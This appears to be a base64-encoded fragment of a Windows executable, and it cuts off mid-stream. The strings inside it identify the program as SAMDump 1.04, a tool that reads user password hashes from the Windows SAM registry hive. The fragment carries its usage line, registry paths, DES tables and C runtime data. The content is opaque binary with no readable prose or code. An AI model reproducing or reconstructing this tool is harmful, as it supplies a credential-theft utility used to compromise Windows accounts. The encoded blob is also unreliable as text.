QAEABEQBAgQAAQIEBAECBEABAgREAQAAAIAAAASAAABAgAAARIACAACAAgAEgAIAQIACAESAAAQAgAAEBIAABECAAAREgAIEAIACBASAAgRAgAIERIAAAACBAAAEgQAAQIEAAESBAgAAgQIABIECAECBAgBEgQAEAIEABASBAARAgQAERIECBACBAgQEgQIEQIECBESBAAAAAAAAAAQAAABAAAAARAEAAAABAAAEAQAAQAEAAEQAAAAIAAAADAAAAEgAAABMAQAACAEAAAwBAABIAQAATAAABAAAAAQEAAAEQAAABEQBAAQAAQAEBAEABEABAAREAAAECAAABAwAAARIAAAETAEABAgBAAQMAQAESAEABEwABAAAAAQABAAEAEAABABEAQQAAAEEAAQBBABAAQQARAAEAAgABAAMAAQASAAEAEwBBAAIAQQADAEEAEgBBABMAAQEAAAEBAQABARAAAQERAEEBAABBAQEAQQEQAEEBEQABAQIAAQEDAAEBEgABARMAQQECAEEBAwBBARIAQQETAAAAAAAAAACAgAAAAIAAAIAAQAAAAEAAgIBAAACAQACAAAAgAAAAIICAACAAgAAggABAIAAAQCCAgEAgAIBAIIAQAAAAEAAAgJAAAACQAACAEEAAABBAAICQQAAAkEAAgBAAIAAQACCAkAAgAJAAIIAQQCAAEEAggJBAIACQQCCAAAAAIAAAAKCAAAAggAAAoABAACAAQACggEAAIIBAAKAAACAgAAAgoIAAICCAACCgAEAgIABAIKCAQCAggEAgoBAAACAQAACgkAAAIJAAAKAQQAAgEEAAoJBAACCQQACgEAAgIBAAIKCQACAgkAAgoBBAICAQQCCgkEAgIJBAIKAAAAAAABAAAAAAgAAAEIAAAAAAEAAQABAAAIAQABCAEQAAAAEAEAABAACAAQAQgAEAAAARABAAEQAAgBEAEIAQAAIAAAASAAAAAoAAABKAAAACABAAEgAQAAKAEAASgBEAAgABABIAAQACgAEAEoABAAIAEQASABEAAoARABKAEAAgAAAAMAAAACCAAAAwgAAAIAAQADAAEAAggBAAMIARACAAAQAwAAEAIIABADCAAQAgABEAMAARACCAEQAwgBAAIgAAADIAAAAigAAAMoAAACIAEAAyABAAIoAQADKAEQAiAAEAMgABACKAAQAygAEAIgARADIAEQAigBEAMoAQAAAAAAAAAEAAAEAAAABAQCAAAAAgAABAIABAACAAQEACAAAAAgAAQAIAQAACAEBAIgAAACIAAEAiAEAAIgBAQgAAAAIAAABCAABAAgAAQEIgAAACIAAAQiAAQAIgAEBCAgAAAgIAAEICAEACAgBAQiIAAAIiAABCIgBAAiIAQEAAgAAAAIAAQACAQAAAgEBAIIAAACCAAEAggEAAIIBAQAKAAAACgABAAoBAAAKAQEAigAAAIoAAQCKAQAAigEBCAIAAAgCAAEIAgEACAIBAQiCAAAIggABCIIBAAiCAQEICgAACAoAAQgKAQAICgEBCIoAAAiKAAEIigEACIoBAQACAgCAAAIAAIAAAICCAgCAAAAAgIICAACAAgAAgAAAgIICAAACAgCAAAIAgIIAAACCAACAAAAAgAAAAACAAgAAAAIAAIAAAAACAACAAgIAAIICAIAAAgCAggAAAAIAAICAAAAAAgAAAAICAACAAgCAAgAAAIIAAICAAgCAAAAAAAAAAACCAgCAAgAAgIACAAACAgCAAAIAAIIAAAACAACAgAIAgAIAAAACAgAAgAAAgIICAACAAAAAgAAAgAACAICCAgCAAgIAAAACAICCAACAAAAAgIIAAACAAgAAAAAAAAACAAAAAACAggAAgAICAICAAAAAgAIAgAIAAACCAgAEIAQQAAAAAAAgBAAAAAQQBAAAEAQgAAAAIAAQACAEAAAgAAAEAAQQBAAAAAAgABAEAAQAACAEEAAABBAEAAAAAAAEAAQgABAEAAQQACAAAAQgBAAAAAAQAAAAAAQABAAEIAAQBCAEAAAgBBAEAAAQAAAAEAAABAAEIAAABCAEEAQABAAAIAQQACAAEAQgBAAEIAQQBAAEAAQAABAAAAAAAAAAEAQgAAAAAAQABAAEEAAgAAAAAAAQBCAEAAQgABAAIAQQACAAAAAAAAAEAAAQBAAAAAQgBBAAIAQAAAAEEAQABBAAAAQABCAAAAAgABAEIAAQBAAAAAAABBAAIAQAAEAAAQAAQQEAAEAAAEBAAQBAAQAAAAABAEBAAQAAQQAAAEABAAABAAAAAQEAQAAAAEBBAQBAQAAAQAAAAEABAQAAAAAAQAEAAABBAQAAQAAAQEAAAEBBAQAAAQAAQAABAEABAQAAQAEAQEEAAAABAQAAQQAAAAAAAAAAAQBAQQAAAEEBAABAAABAAAAAAAEAAEBAAABAAQAAAAEBAEBAAQAAAAAAAEEBAABBAABAAQEAQAEAAAAAAQBAQQEAQAAAAEBBAABAAAEAAAABAEBBAQAAAQAAAEABAEBAAQAAQQAAAEABAAAAAABAAQEAQEAAAEAAAQBAQQAAAEAAAAABAQIEEAAABAAEAgAAAAIEEAQAAAAAAAAQBAIEAAQCABAAAAQQBAIAAAQAAAAEAgQAAAIAAAQCBBAAAAAQAAAAAAQCABAEAAQQAAAEAAACAAAAAAQQAAIEAAQAABAEAAQAAAIEAAAAAAAAAgAQAAAEEAQABAAEAgAQBAIEEAQAABAAAgAQBAIEAAAAABAAAgAABAAEEAAABAAEAgAAAAAAEAQCBAAEAAAAAAAEAAACABAAAAAAAAIAEAQABBAEAAQAAAAAAAQCBBAEAgQQAAAAEAACBBAEAgAAAAAEAAQCBBAAAgAQAAAEEAAAABAEAgQABAIEAAAAAAAEAgAABAAEEAQAAAACAAAAQAABAAAIAQBCCAAAQgABAAIIAQBAAAAAQgAAAEAIAAAACAAAAgABAEAIAQACCAAAQgABAEIAAAAAAAEAQAAAAAIIAABACAEAAAABAAIIAQBAAAAAAAgAAAIIAAAACAEAAggBAEIIAABAAAAAQgABAAAIAQAAAAEAQgABAEIIAQACCAAAQAAAAEIAAABACAAAAAgAAAIAAQACAAAAAgABAEAIAQBCAAAAAAgBAEAAAAACAAEAAAgAAEAIAQACAAEAAAAAAAAIAQBCCAAAQgABAEIIAQAAAAAAQAABAEAIAABCAAEAAggBAAAIAAAACAEAQAAAAEIIAAACEAAAIBAACAAAAAAAAAgIIBAACAAACAAAEAgAIAAACAAQCAAAEAgIIAAICAAAAAAgAAgAIBAAACAAAAggEAgIAAAACAAQCAAgEAAIIAAAAAAACAAAEAAAAAAICCAQAAggEAgIIAAACCAAAAAgEAgAABAAAAAACAgAEAgIAAAIACAQCAAAAAAAIAAIACAQCAgAAAgIIBAACAAAAAAAAAgAIAAAACAACAAAEAAIIAAACAAQAAgAEAgIIAAICAAQAAAAEAgIIAAICAAAAAgAEAgAIBAAACAAAAggEAgIAAAAAAAACAAAEAAAIBAIACAACAggAAAIIBAIAAAQAAAAEAAIIAAQAAAAAIAAAACAAEEAAABBEIAAQRAAAAAQgAAAAAAAAAAAAEEAgABBAIAAABAAAEEAAAAAEIAAQBAAAEEAgAABAIAAQBAAAAEQAAABEIAAQAAAAAAAgABBAAAAQBCAAAEQAABBEIAAABCAAEEAAAABEIAAARAAAEAAgAAAAAAAQRCAAAAQAABBEAAAQQCAAAAQAAAAAIAAAAAAAEEQAABBAIAAQRCAAAAQgAAAAAAAAACAAAEAAABBAAAAAACAAEAAAAABAIAAQACAAEAQgAABAIAAABAAAAEQgABAAAAAQBCAAEEAAAABEAAAARCAAEEAAABAEIAAQBAAAEEQAAAgACAIAAAgiCAAAIAAAAAAAAAAiCAAIAAAACAIIAAgiCAAAAAAAAAIAAAggCAAAIAgACCAIAAAiCAAAAgAACAIAAAAgCAAIIAgACAAAAAAiCAAIIggAAAIAAAAAAAAIIAAAAAIAAAgACAAAIggACAIAAAgAAAAAIAAACCIIAAAAAAAIAAAAACAIAAACCAAIIggAACAAAAACAAAAAAAACCAIAAgCCAAAIgAAACIIAAgAAAAIIggAAAAIAAgAAAAAIggACCIAAAgAAAAIAggAAAIAAAggCAAAIAgAACIAAAgCCAAAAAAACCIIAAggAAAAAAAAAAIIAAgCAAAAIAgACCAHDsQACwPUAAY3Nt4AEAAAAAAAAAAAAAAAMAAAAgBZMZAAAAAAAAAAD/////4lJAAP1SQAAAAAAA//////5fQAALYEAAAAAAAP////8AAAAA3WFAAAAAAAC2YUAAw2FAAP////85ZEAAP2RAAAAAAAD/////qmRAALJkQABMQ19USU1FAExDX05VTUVSSUMAAExDX01PTkVUQVJZAExDX0NUWVBFAAAAAExDX0NPTExBVEUAAExDX0FMTAAALgAAACgAbgB1AGwAbAApAAAAAAAobnVsbCkAAAYAAAYAAQAAEAADBgAGAhAERUVFBQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBgYGBgYAAAcHB4eHh4CAcIAAAHAAgICAAACAAIAAAIAAAAcnVudGltZSBlcnJvciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0KAABSNjAyNw0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBsb3dpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI2DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIHN0ZGlvIGluaXRpYWxpemF0aW9uDQoAAAAAUjYwMjUNCi0gcHVyZSB2aXJ0dWFsIGZ1bmN0aW9uIGNhbGwNCgAAAFI2MDI0DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIF9vbmV4aXQvYXRleGl0IHRhYmxlDQoAAAAAUjYwMTkNCi0gdW5hYmxlIHRvIG9wZW4gY29uc29sZSBkZXZpY2UNCgAAAABSNjAxOA0KLSB1bmV4cGVjdGVkIGhlYXAgZXJyb3INCgAAAABSNjAxNw0KLSB1bmV4cGVjdGVkIG11bHRpdGhyZWFkIGxvY2sgZXJyb3INCgAAAABSNjAxNg0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciB0aHJlYWQgZGF0YQ0KAA0KYWJub3JtYWwgcHJvZ3JhbSB0ZXJtaW5hdGlvbg0KAAAAAFI2MDA5DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGVudmlyb25tZW50DQoAUjYwMDgNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgYXJndW1lbnRzDQoAAABSNjAwMg0KLSBmbG9hdGluZyBwb2ludCBub3QgbG9hZGVkDQoAAAAATWljcm9zb2Z0IFZpc3VhbCBDKysgUnVudGltZSBMaWJyYXJ5AAAAAAoKAABSdW50aW1lIEVycm9yIQoKUHJvZ3JhbTogAAAALi4uADxwcm9ncmFtIG5hbWUgdW5rbm93bj4AAAAAAAD/////AAAAAIWOQAAAAAAAWY5AAF+OQAD/////AAAAAP2OQAAAAAAA0Y5AANeOQAB1bml0ZWQtc3RhdGVzAAAAdW5pdGVkLWtpbmdkb20AAHVuaXRlZCBzdGF0ZXMAAAB1bml0ZWQga2luZ2RvbQAAdHduAHR1cmtleQAAdHVyAHRhaXdhbgAAc3dpdHplcmxhbmQAc3dlZGVuAABzd2UAc3ZrAHNwYWluAAAAc291dGgta29yZWEAc291dGgga29yZWEAc2dwAHNpbmdhcG9yZQAAAHJ1c3NpYQAAcHJ0AHByLWNoaW5hAAAAAHByIGNoaW5hAAAAAHBvcnR1Z2FsAAAAAHBvbGFuZAAAcG9sAG56bABuegAAbm9yd2F5AABuZXctemVhbGFuZABuZXcgemVhbGFuZABuZXRoZXJsYW5kcwBtZXhpY28AAG1leABrb3JlYQAAAGphcGFuAAAAaXRhbHkAAABpcmwAaXJlbGFuZABpY2VsYW5kAGh1bmdhcnkAaG9uZy1rb25nAAAAaG9uZyBrb25nAAAAaG9sbGFuZABoa2cAZ3JlZWNlAABncmVhdCBicml0YWluAAAAZ3JjAGdlcm1hbnkAZ2JyAGZyYW5jZQAAZmlubGFuZABlbmdsYW5kAGRuawBkZW5tYXJrAGN6ZQBjaG4AY2hpbmEAAABjaGUAY2FuYWRhAABjYW4AYnJpdGFpbgBicmF6aWwAAGJyYQBiZWxnaXVtAGJlbABhdXQAYXVzdHJpYQBhdXN0cmFsaWEAAABhdXMAYW1lcmljYQB1c2EAdXMAAHVrAAB0dXJraXNoAHRyawBzd2lzcwAAAHN3ZWRpc2gAc3ZlAHNwYW5pc2gtbW9kZXJuAABzcGFuaXNoLW1leGljYW4Ac3BhbmlzaABzbG92YWsAAHNreQBydXNzaWFuAHJ1cwBwdGcAcHRiAHBvcnR1Z3Vlc2UtYnJhemlsaWFuAAAAAHBvcnR1Z3Vlc2UAAHBvbGlzaAAAcGxrAG5vcndlZ2lhbi1ueW5vcnNrAAAAbm9yd2VnaWFuLWJva21hbAAAAABub3J3ZWdpYW4AAABub3IAbm9uAG5sZABubGIAa29yZWFuAABrb3IAanBuAGphcGFuZXNlAAAAAGl0cwBpdGFsaWFuLXN3aXNzAAAAaXRhbGlhbgBpdGEAaXNsAGlyaXNoLWVuZ2xpc2gAAABpY2VsYW5kaWMAAABodW5nYXJpYW4AAABodW4AZ3JlZWsAAABnZXJtYW4tc3dpc3MAAAAAZ2VybWFuLWF1c3RyaWFuAGdlcm1hbgAAZnJzAGZyZW5jaC1zd2lzcwAAAABmcmVuY2gtY2FuYWRpYW4AZnJlbmNoLWJlbGdpYW4AAGZyZW5jaAAAZnJjAGZyYgBmcmEAZmlubmlzaABmaW4AZXNwAGVzbgBlc20AZW56AGVudQBlbmkAZW5nbGlzaC11c2EAZW5nbGlzaC11cwAAZW5nbGlzaC11awAAZW5nbGlzaC1uegAAZW5nbGlzaC1pcmUAZW5nbGlzaC1jYW4AZW5nbGlzaC1hdXMAZW5nbGlzaC1hbWVyaWNhbgAAAABlbmdsaXNoAGVuZwBlbmMAZW5hAGVsbABkdXRjaC1iZWxnaWFuAAAAZHV0Y2gAAABkZXUAZGVzAGRlYQBkYW5pc2gAAGRhbgBjemVjaAAAAGNzeQBjaHQAY2hzAGNoaW5lc2UtdHJhZGl0aW9uYWwAY2hpbmVzZS1zaW5nYXBvcmUAAABjaGluZXNlLXNpbXBsaWZpZWQAAGNoaW5lc2UtaG9uZ2tvbmcAAAAAY2hpbmVzZQBjaGkAY2hoAGNhbmFkaWFuAAAAAGJlbGdpYW4AYXVzdHJhbGlhbgAAYW1lcmljYW4tZW5nbGlzaAAAAABhbWVyaWNhbiBlbmdsaXNoAAAAAGFtZXJpY2FuAAAAAAAAAAAAAAAAAAAAAEdldExhc3RBY3RpdmVQb3B1cAAAR2V0QWN0aXZlV2luZG93AE1lc3NhZ2VCb3hBAHVzZXIzMi5kbGwAAEg6bW06c3MAZGRkZCwgTU1NTSBkZCwgeXl5eQBNL2QveXkAAFBNAABBTQAARGVjZW1iZXIAAAAATm92ZW1iZXIAAAAAT2N0b2JlcgBTZXB0ZW1iZXIAAABBdWd1c3QAAEp1bHkAAAAASnVuZQAAAABBcHJpbAAAAE1hcmNoAAAARmVicnVhcnkAAAAASmFudWFyeQBEZWMATm92AE9jdABTZXAAQXVnAEp1bABKdW4ATWF5AEFwcgBNYXIARmViAEphbgBTYXR1cmRheQAAAABGcmlkYXkAAFRodXJzZGF5AAAAAFdlZG5lc2RheQAAAFR1ZXNkYXkATW9uZGF5AABTdW5kYXkAAFNhdABGcmkAVGh1AFdlZABUdWUATW9uAFN1bgAAAAAAU3VuTW9uVHVlV2VkVGh1RnJpU2F0AAAASmFuRmViTWFyQXByTWF5SnVuSnVsQXVnU2VwT2N0Tm92RGVjAAAAAAAAAAAAAAAAAAAAADj0QACI7EAAAAAAAAAAAAAAAAAAAQAAAJjsQACg7EAAAAAAADj0QAAAAAAAAAAAAP////8AAAAAAAAAAAEAAAA48EAAAAAAAP////8AAAAABAAAAAAAAAAAAAAAAQAAALjsQAAAAAAAAAAAAAAAAADY7EAAAQAAAEjwQAAAAAAA/////wAAAAAEA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOBQQAAAAAAAAQAAAAAQAAAAAAAAAAAAALALQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AtBAAAAAAAAAAAAAAAAAPgLQQAAAAAAAAAAAAAAAADIC0EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wAAAABQVUAAAAAAAEMAAAAAAAAAtOFAAAAAAADwbUAAqOFAAJD5QABQq0AAnOFAAJD5QACgqEAAkOFAAJD5QACgpUAAhOFAAJD5QAAwo0AAfOFAAJD5QADAm0AAAAAAAAAAAAAAAAAAAAAAAEMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAAAAAAAAAAAAA0OFAAMDhQAD/////AAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAavtAAGr7QAAAACAAIAAgACAAIAAgACAAIAAgACgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAIEAgQCBAIEAgQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAEAAQABAAEAAQABAAggCCAIIAggCCAIIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACABAAEAAQABAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAwAsAAAAAAAAAHQAAwAQAAAAAAAAAlgAAwAQAAAAAAAAAjQAAwAgAAAAAAAAAjgAAwAgAAAAAAAAAjwAAwAgAAAAAAAAAkAAAwAgAAAAAAAAAkQAAwAgAAAAAAAAAkgAAwAgAAAAAAAAAkwAAwAgAAAAAAAAAAwAAAAcAAAB4AAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAAAAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAAAAACAAAAcORAAAgAAABE5EAACQAAABjkQAAKAAAA9ONAABAAAADI40AAEQAAAJjjQAASAAAAdONAABMAAABI40AAGAAAABDjQAAZAAAA6OJAABoAAACw4kAAGwAAAHjiQAB4AAAAaOJAAHkAAABY4kAAegAAAEjiQAD8AAAAROJAAP8AAAA04kAAAAAAABCOQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDqQAAABAAAtOpAAAkEAACg6kAACQQAAIzqQAAJBAAAgOpAAAkMAAB46kAAEwgAAGzqQAAJEAAAaOpAAAQMAABk6kAABBAAAFzqQAAEBAAASOpAAAQMAAA06kAABAgAACDqQAAEEAAADOpAAAQEAAAI6kAABAgAAATqQAAEBAAAAOpAAAUEAAD46UAABQQAAPTpQAAGBAAA7OlAAAYEAADo6UAABwwAAOTpQAAHCAAA4OlAAAcEAADY6UAAEwQAAMjpQAATCAAAxOlAAAgEAADA6UAACQwAALzpQAAJEAAAuOlAAAkIAACw6UAACQQAAJzpQAAJBAAAkOlAAAkMAACE6UAACRAAAHjpQAAJGAAAbOlAAAkUAABg6UAACQgAAFTpQAAJBAAASOlAAAkEAABE6UAACRgAAEDpQAAJBAAAPOlAAAkUAAA46UAACggAADTpQAAKDAAAMOlAAAoEAAAs6UAACwQAACTpQAALBAAAIOlAAAwEAAAc6UAADAgAABjpQAAMDAAAEOlAAAwEAAAA6UAADAgAAPDoQAAMDAAA4OhAAAwQAADc6EAADBAAANToQAAHBAAAxOhAAAcMAAC06EAABwgAAKzoQAAIBAAAqOhAAA4EAACc6EAADgQAAJDoQAAPBAAAgOhAAAkYAAB86EAADwQAAHjoQAAQBAAAcOhAABAEAAB